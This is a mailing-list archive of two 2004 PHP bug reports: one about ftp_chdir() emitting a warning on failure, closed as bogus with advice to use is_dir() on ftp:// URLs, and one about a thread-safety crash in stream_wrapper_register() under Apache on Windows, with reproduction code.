 Bug Type: FTP related
 Operating System: Windows 2000 SP 3
 PHP Version:  5.0.0RC3
 New Comment:

The warning message stays, I've updated the documentation to explicitly
state that the warning message will be issued.

is_dir() and is_file *do* work on ftp:// URLs in PHP5.

if (is_dir('ftp://user:[EMAIL PROTECTED]/path/to/file')) { /* The directory
exists */ }

The is_dir() method opens a new connection for reach request so if you
plan on doing multiple FS ops, then working via the ftp extension
(using ftp_chdir() to check) is probably the best way to go.


Previous Comments:


[2004-06-24 17:07:00] mchizewski at yahoo dot com

This is also what happens with the ftp_login function. Returns TRUE on
success or FALSE on failure. It should not give a warning message.



[2004-06-24 15:05:50] mchizewski at yahoo dot com

Also please note, if this is not how it should be, the PHP Manual needs
to be updated. However, I would much rather see the warning message
removed. Unless of course there is a ftp function simular to is_file or
is_dir. Right now, I see ftp_chdir the best way of finding this out
quicky.



[2004-06-24 03:24:41] mchizewski at yahoo dot com

Description:

When ftp_chdir cannot change directory, it produces the following PHP
warning.

Warning: ftp_chdir()[http://www.php.net/manual/en/function.ftp-chdir]:
Failed to change directory. in C:\Documents and Settings\(...)\ftp.php
on line 137

If ftp_chdir cannot change the directory, it should do as the
documentation says and just return false.

Returns TRUE on success or FALSE on failure.


Reproduce code:
---
// code as part of a ftp class
function change_ftp_directory () {
if ($this - ftp_login === false) {
return false;
}
$this - change_ftp_directory = ftp_chdir ($this - ftp_resource,
$this - ftp_path);
if ($this - change_ftp_directory === false) {
return false;
}
return true;
}

Expected result:

It returns false if the change directory path is bad. No PHP error
reported.

Actual result:
--
Warning: ftp_chdir()[http://www.php.net/manual/en/function.ftp-chdir]:
Failed to change directory. in C:\Documents and Settings\(...)\ftp.php
on line 137





-- 
Edit this bug report at http://bugs.php.net/?id=28907edit=1


#28907 [Opn-Bgs]: ftp_chdir issues Warning when Failed to change directory. No error required.

2004-06-24 Thread pollita
 ID:   28907
 Updated by:   [EMAIL PROTECTED]
 Reported By:  mchizewski at yahoo dot com
-Status:   Open
+Status:   Bogus
 Bug Type: FTP related
 Operating System: Windows 2000 SP 3
 PHP Version:  5.0.0RC3
 New Comment:

The documentation for both functions was updated, the changes take time
(often a week or more) to reach the website.

The ftp functions are NOT required if you want to login to the ftp
server, they're just an alternate API.  is_dir() *DOES* work for ftp
urls with or without login details.  The is no need for an ftp_is_dir()
as it would duplicate the functionality of ftp_chdir().




Previous Comments:


[2004-06-25 01:44:33] mchizewski at yahoo dot com

If you are going to keep the warning message, please update the
documentation for ftp_login as well.

As you said, the is_dir will work if you are NOT using the ftp
functions. My understanding is that the ftp functions are required if
you need to login to an ftp server. There is no way to remove the
warning message?  It really seems wrong to have an error when it gives
you feedback true/false.

Is there any way to get an ftp is_dir function?

I do see putting @ in front of the function does suppress the error
message.

Thank you for your help!



[2004-06-24 18:22:06] [EMAIL PROTECTED]

The warning message stays, I've updated the documentation to explicitly
state that the warning message will be issued.

is_dir() and is_file *do* work on ftp:// URLs in PHP5.

if (is_dir('ftp://user:[EMAIL PROTECTED]/path/to/file')) { /* The directory
exists */ }

The is_dir() method opens a new connection for reach request so if you
plan on doing multiple FS ops, then working via the ftp extension
(using ftp_chdir() to check) is probably the best way to go.



[2004-06-24 17:07:00] mchizewski at yahoo dot com

This is also what happens with the ftp_login function. Returns TRUE on
success or FALSE on failure. It should not give a warning message.



[2004-06-24 15:05:50] mchizewski at yahoo dot com

Also please note, if this is not how it should be, the PHP Manual needs
to be updated. However, I would much rather see the warning message
removed. Unless of course there is a ftp function simular to is_file or
is_dir. Right now, I see ftp_chdir the best way of finding this out
quicky.



[2004-06-24 03:24:41] mchizewski at yahoo dot com

Description:

When ftp_chdir cannot change directory, it produces the following PHP
warning.

Warning: ftp_chdir()[http://www.php.net/manual/en/function.ftp-chdir]:
Failed to change directory. in C:\Documents and Settings\(...)\ftp.php
on line 137

If ftp_chdir cannot change the directory, it should do as the
documentation says and just return false.

Returns TRUE on success or FALSE on failure.


Reproduce code:
---
// code as part of a ftp class
function change_ftp_directory () {
if ($this - ftp_login === false) {
return false;
}
$this - change_ftp_directory = ftp_chdir ($this - ftp_resource,
$this - ftp_path);
if ($this - change_ftp_directory === false) {
return false;
}
return true;
}

Expected result:

It returns false if the change directory path is bad. No PHP error
reported.

Actual result:
--
Warning: ftp_chdir()[http://www.php.net/manual/en/function.ftp-chdir]:
Failed to change directory. in C:\Documents and Settings\(...)\ftp.php
on line 137





-- 
Edit this bug report at http://bugs.php.net/?id=28907edit=1


#28868 [Opn-Ana]: Thread safty issue with stream_wrapper_register?

2004-06-21 Thread pollita
 ID:   28868
 Updated by:   [EMAIL PROTECTED]
 Reported By:  cleong at nflc dot org
-Status:   Open
+Status:   Analyzed
 Bug Type: Filesystem function related
 Operating System: Windows 2000
 PHP Version:  4.3.7
 New Comment:

There is absolutely a thread safety issue here.  I assume you're
running Apache2?

For the moment, I'd suggest Apache1 or Apache2-pre-fork.  In the mean
time we'll be working on fixing this asap.


Previous Comments:


[2004-06-21 16:53:43] cleong at nflc dot org

Description:

On Windows 2000, with PHP running as an Apache module,
stream_wrapper_register() would fail when there are concurent scripts
using that function. It would either fail without an error message or
causes the Apache process to crash. When there's just one script
running the function works fine. 

To reproduce this bug, open a couple browser windows and go to the
reproduce code in each. 

I can get around the bug by generating a random class name and protocol
name everytime (using eval for the class definition).

Reproduce code:
---
?

// example class taken from manual

class VariableStream {
   var $position;
   var $varname;
   
   function stream_open($path, $mode, $options, $opened_path) 
   {
   $url = parse_url($path);
   $this-varname = $url[host];
   $this-position = 0;
   
   return true;
   }

   function stream_read($count) 
   {
   $ret = substr($GLOBALS[$this-varname], $this-position,
$count);
   $this-position += strlen($ret);
   return $ret;
   }

   function stream_write($data) 
   {
   $left = substr($GLOBALS[$this-varname], 0, $this-position);
   $right = substr($GLOBALS[$this-varname], $this-position +
strlen($data));
   $GLOBALS[$this-varname] = $left . $data . $right;
   $this-position += strlen($data);
   return strlen($data);
   }

   function stream_tell() 
   {
   return $this-position;
   }

   function stream_eof() 
   {
   return $this-position = strlen($GLOBALS[$this-varname]);
   }

   function stream_seek($offset, $whence) 
   {
   switch ($whence) {
   case SEEK_SET:
   if ($offset  strlen($GLOBALS[$this-varname]) 
$offset = 0) {
 $this-position = $offset;
 return true;
   } else {
 return false;
   }
   break;
   
   case SEEK_CUR:
   if ($offset = 0) {
 $this-position += $offset;
 return true;
   } else {
 return false;
   }
   break;
   
   case SEEK_END:
   if (strlen($GLOBALS[$this-varname]) + $offset = 0) {
 $this-position = strlen($GLOBALS[$this-varname])
+ $offset;
 return true;
   } else {
 return false;
   }
   break;
   
   default:
   return false;
   }
   }
}

stream_wrapper_register(var, VariableStream)
   or die(Failed to register protocol);

$myvar = ;
   
$fp = fopen(var://myvar, r+);

fwrite($fp, line1\n);
fwrite($fp, line2\n);
fwrite($fp, line3\n);

rewind($fp);
while (!feof($fp)) {
   echo fgets($fp);
}

session_write_close();  // in case auto-session is on
for($i = 0; $i  30; $i++) {
 // make the script run for 30 seconds
 sleep(1);
}

fclose($fp);
var_dump($myvar);

?

Expected result:

Same result in each window.

Actual result:
--
While the first script is still running, the second script would say
Failed to register protocol. If you refresh the second window,
sometimes it works, sometimes it causes a general protection error. 





-- 
Edit this bug report at http://bugs.php.net/?id=28868edit=1


  1   2   3   4   >